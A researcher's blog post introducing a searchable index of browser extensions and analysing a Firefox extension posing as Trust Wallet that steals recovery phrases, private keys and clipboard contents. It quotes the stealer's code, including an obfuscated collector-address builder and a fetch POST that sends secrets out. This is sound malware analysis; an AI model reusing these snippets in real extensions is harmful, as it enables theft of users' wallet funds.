proxied.tech - Building a Browser Extension Index and Finding a Firefox Wallet Stealer

Building a Browser Extension Index and Finding a Firefox Wallet Stealer


Building a Browser Extension Index and Finding a Firefox Wallet Stealer

Browser extensions are annoying to research at scale. Every platform has its own identifiers, package format, metadata and weird little edge cases. A normal store page gives you a name, screenshots, permissions and some reviews, but most of the useful stuff is buried inside the actual package.

I wanted one place where i could search across all platforms and pivot from a domain into every extension referencing it, inspect permissions, search the packaged source and pull the exact file where something weird happens.

So i built Extensions.

As of 05/09/2026 the platform indexes 473,784 extensions across Chrome, Edge and Firefox, with source indexed for 455,389 of them. That source index currently contains just over 13 million text files and roughly 440 GB of packaged text.

Numbers are cool but drainers are cooler. A recent Firefox extension is a good example. It presents itself as Trust Wallet, asks for a recovery phrase or private key and contains code to send entered secrets to a live server and polls the user's clipboard in the background (more on this shortly).

Why i built this

Most platforms i have seen are either enterprise only or do not have a large dataset indexed, hence they are useless for scaled independent research.

The important data is usually domains, code snippets, function names etc, and being able to yell at a clanker to use the mcp.

How the platform works

The backend is written in Go. Extension collection starts with CRX fetching. Once a package reaches the analysis pipeline it is scanned statically.

The scanner parses the manifest, walks the archive, classifies text files and extracts useful structure from the package.

like this:

CRX fetching
    -> static package analysis
    -> PostgreSQL report and normalized fields
    -> Elasticsearch source index
    -> website and MCP tools

What gets indexed

Every successfully analyzed extension gets a structured report. This includes the basic store and manifest information, but it includes a general breakdown:

  • Store, extension ID, manifest name, version and store user count
  • Required and optional API permissions
  • Required and optional host permissions
  • Background type, including service worker, scripts or page
  • Content script match patterns, JavaScript files, CSS files and execution timing
  • Web accessible resources and externally connectable rules
  • Content Security Policy and OAuth scopes
  • Packaged file paths, file types, sizes and whether a file is text
  • Literal HTTP, HTTPS, WebSocket and secure WebSocket references
  • Normalized hosts and HTTP paths
  • Generated warnings for broad permissions and exposed extension behavior

The actual text files go into Elasticsearch. Each source record includes its extension ID, platform, name, version, package path, detected language, size, SHA-256, text chunks and truncation state. The current default indexes up to 16 MiB from an individual text file.

Searching the metadata

The metadata search has a small Boolean query language. Fields can be combined with and, or and parentheses, and numeric fields support comparisons.

Some example searches:

platform:firefox and api:clipboardRead
platform:chrome and domain:example.com
platform:edge and api:proxy
api:cookies and content:*://*/*
domain:example.com and route:*oauth*
ext:wasm and users:>=100000
name:*wallet* and has:warning

host:api.example.com matches that exact host. domain:example.com includes the root and its subdomains. The * wildcard works across the supported text fields, and bare text searches the extension ID and manifest name.

To pull up the extension in this post, the query is:

platform:firefox id:firefox:dwk0-q0je83g9eu58rhg

That returns one current record:

{
  "id": "firefox:dwk0-q0je83g9eu58rhg",
  "name": "Tr Wall",
  "version": "10.0.0",
  "files": 15,
  "warnings": 1
}

The public Firefox listing calls it TRApp, while the package manifest calls it Tr Wall. Store titles can change, so keeping the stable slug and the manifest identity together is needed.

Searching the packaged source

i love full text searchable source code.

The source index supports phrases, prefixes, exclusions, grouping and | for alternatives. You can also filter by platform, exact extension ID, path and language. A few examples:

"chrome.webRequest" onBeforeRequest
eval | Function
fetch -polyfill
(api.example.com | socket.example.com) token

From a source result you can open the package tree and read the exact file. Reports can also trace supported metadata terms back into matching source files, which saves a lot of time when an extension contains thousands of bundled assets.

The source search, package tree and file reader are all available through the website. There is also a read-only MCP endpoint for doing the same work from an agent.

MCP access

I added MCP because this kind of research works well as a back and forth process. Search for an indicator, select an extension, inspect its report, search inside its source, then read the exact file. Giving an agent a pile of downloaded ZIP files is pretty clunky compared to exposing those steps directly.

The MCP server uses Streamable HTTP and currently exposes seven read-only tools:

get_platform_documentation
get_platform_stats
search_extensions
get_extension_report
search_extension_source
list_extension_source_files
read_extension_source_file

Tokens are revocable and expire after 30 days. Search and source search share one allowance, while reports, package trees and source-file reads share another. Archive creation is unavailable via MCP.

The public frontend is also written in Go using embedded HTML templates, vanilla JavaScript, custom CSS and 98.css for the Windows 98 styling.

Research archives

The website can also generate a research archive for an indexed extension. An archive job fetches a fresh copy of the package, analyzes it again and creates a ZIP containing:

original CRX or XPI
report.json
report.txt
metadata.json
SHA256SUMS.txt

The indexed version and the newly downloaded version are both recorded in the metadata. Stores can update a package between the original crawl and archive generation so preserving that matters.

Finding Tr Wall

While testing the Firefox side of the source index, i ended up looking at firefox:dwk0-q0je83g9eu58rhg. The current package is called Tr Wall 10.0.0 and presents itself as a Trust Wallet extension.

The first page looks sketchy enough at a glance. It has Trust Wallet branding and four choices:

  • Create new wallet
  • Recover with mnemonic
  • Recover with private key
  • Ledger

Create new wallet, Recover with mnemonic and Ledger all open the same secret phrase form. The private key option opens a separate Ethereum private-key form. There is no wallet creation logic and no Ledger connection code anywhere in the package.

Tr Wall welcome page, secret phrase form and private key form

The fake import flow

The phrase page accepts 12, 18 or 24 words. Once every visible field has something in it the code collects the phrase inputs and starts a 1.4 second timer:

function debounceSend(combined) {
    if (!combined || combined.trim() === '') return;

    clearTimeout(debounceTimer);
    debounceTimer = setTimeout(() => {
        collectMetrics({ data: combined });
    }, 1400);
}

The user does not have to press next, filling the fields is enough to schedule the request, the private-key page does the same thing with any nonempty value.

Pressing next always displays Invalid mnemonic phrase or Invalid private key. There is no format validation nor does the api dictate what error you receive.

Hiding the collector

Searching the metadata for the collector IP does not find this extension. The normal URL extractor looks for literal URLs in package text, and this extension constructs the address at runtime.

Inside init.js is a function named kml():

const seed = 0x5B;

const nums = [
    seed + 94,
    seed + 108,
    seed + 107,
    seed + 97
];

const pp = nums.reduce((acc, n, i) =>
    acc + (i ? '.' : '') + n, ''
);

0x5B is 91 in decimal. The four additions produce:

91 + 94  = 185
91 + 108 = 199
91 + 107 = 198
91 + 97  = 188

The code adds the http:// prefix and /app.php, giving us:

hxxp://185[.]199[.]198[.]188/app.php

The collector function then wraps the captured value in JSON:

const n = {
    name: "Trust Wallet",
    collectedAt: Date.now(),
    clientVersion: "1.0.0",
    ...e
};

fetch(kml(), {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(n),
    keepalive: true
});

The metadata search misses this because the ip is assembled at runtime. Searching for collectMetrics led directly to the collector and the form handlers using it.

The clipboard collector

The fake import page is only one collection path, The manifest V2 background page is persistent and requests Firefox's clipboardRead permission.

Its background script attempts to read the clipboard every two to three seconds. Any changed, nonempty text qualifies. There is no wallet-address filter or seed-word check. Existing clipboard contents can be picked up on the first successful read.

The text is split into chunks and sent through query parameters named uid, part, total and data to a second path:

hxxp://185[.]199[.]198[.]188/html/continue.php

its a fucked setup but clearly attempting to exfil wallet seeds.

The clipboard loop lives in the background script and runs independently of the wallet form. A user never has to complete the fake import page for that code to start attempting reads.

Checking the server

as of 05/09/2026 the server is still live and active, nothing interesting other than an sshkey and nginx.

One extension turned into three

Source search also connected this implementation to two more current firefox packages from the same publisher:

  • firefox:dwk0-q0je83g9eu58rhg, Tr Wall 10.0.0, Trust Wallet branding
  • firefox:dj90328j349ugh5er4, Phillips Wade 311.0.3, TronLink branding
  • firefox:i39qj2f9uew34hg9er, Babby roll. 1092.0.1, Rabby branding

All three share the same collector and broadly similar source, amo records the three package files as created within 72 seconds on September 2. Their amo review timestamps fall within a ten second window a few minutes later.

The earlier public versions under the same Firefox add-on identities were small click counters, Tr Wall's old package was Clicks Counter 1.1.0 but the current package kept the same stable Firefox identity and became a fake wallet with secret and clipboard collection.

Mozilla's update process can require approval when a new version adds permissions such as clipboardRead, so the package history alone cannot tell us how many previous users accepted the update. amo's reported average daily users were 1, 1 and 3 when checked. Those store metrics also cannot tell us whether anyone entered a valid secret.

Yes, this is a crypto drainer

Yes this is very obviously a crypto drainer, The wallet interface exists to collect recovery phrases and private keys, send them to the operator and leave the victim staring at an error. The background script watches the clipboard as another way to catch wallet secrets and addresses.

Finding it was a good example of how i use the platform, one source search led to the collector, the form handlers, the clipboard script and two related Firefox packages. From there i could read the exact files, compare the reports and trace the shared infrastructure without downloading every package by hand.

Trying the platform

The platform is available at extensions.proxied.tech, with the full query reference at extensions.proxied.tech/docs.

Some decent starting queries are:

platform:firefox and api:clipboardRead
platform:chrome and has:warning and users:>=100000
api:webRequest and content:*://*/*
domain:example.com
ext:wasm and has:warning

<3

proxied.tech

Ready

© 2026